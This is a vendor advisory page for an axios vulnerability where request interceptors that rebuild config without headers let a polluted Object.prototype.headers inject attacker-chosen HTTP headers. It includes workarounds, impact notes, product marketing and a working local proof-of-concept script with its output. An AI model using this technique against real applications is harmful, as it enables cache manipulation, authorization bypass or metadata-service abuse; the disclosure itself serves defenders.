CVE-2026-101904

CVE-2026-101904 is a medium-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.20.0. It is fixed in 1.20.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Axios: Header Injection via Inherited headers After Minimal Interceptor

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

Affected Functionality

Affected:

  • Request interceptor chains where an interceptor returns a new ordinary object.
  • Replacement config objects that omit an own headers property.
  • dispatchRequest() header normalization through AxiosHeaders.from(config.headers).

Not affected:

  • Requests whose interceptor preserves an own headers property.
  • Interceptors that mutate and return the existing null-prototype config.
  • Processes without prototype pollution.

Technical Details

lib/core/dispatchRequest.js contains:

config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

Original report

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0

Preconditions

  • A separate prototype-pollution primitive can write an object to Object.prototype.headers.
  • A request interceptor rebuilds config and omits own headers.

Root Cause

dispatchRequest() uses:

config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}

Observed wire headers:

{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}

References

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

Affected versions

axios (>= 1.0.0, < 1.20.0)

Security releases

axios → 1.20.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade axios to 1.20.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-101904? CVE-2026-101904 is a medium-severity security vulnerability in axios (npm), affecting versions >= 1.0.0, < 1.20.0. It is fixed in 1.20.0.
  2. Which versions of axios are affected by CVE-2026-101904? axios (npm) versions >= 1.0.0, < 1.20.0 is affected.
  3. Is there a fix for CVE-2026-101904? Yes. CVE-2026-101904 is fixed in 1.20.0. Upgrade to this version or later.
  4. Is CVE-2026-101904 exploitable, and should I be worried? Whether CVE-2026-101904 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-101904 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-101904? Upgrade axios to 1.20.0 or later.

Other vulnerabilities in axios

Stop the waste.
Protect your environment with Kodem.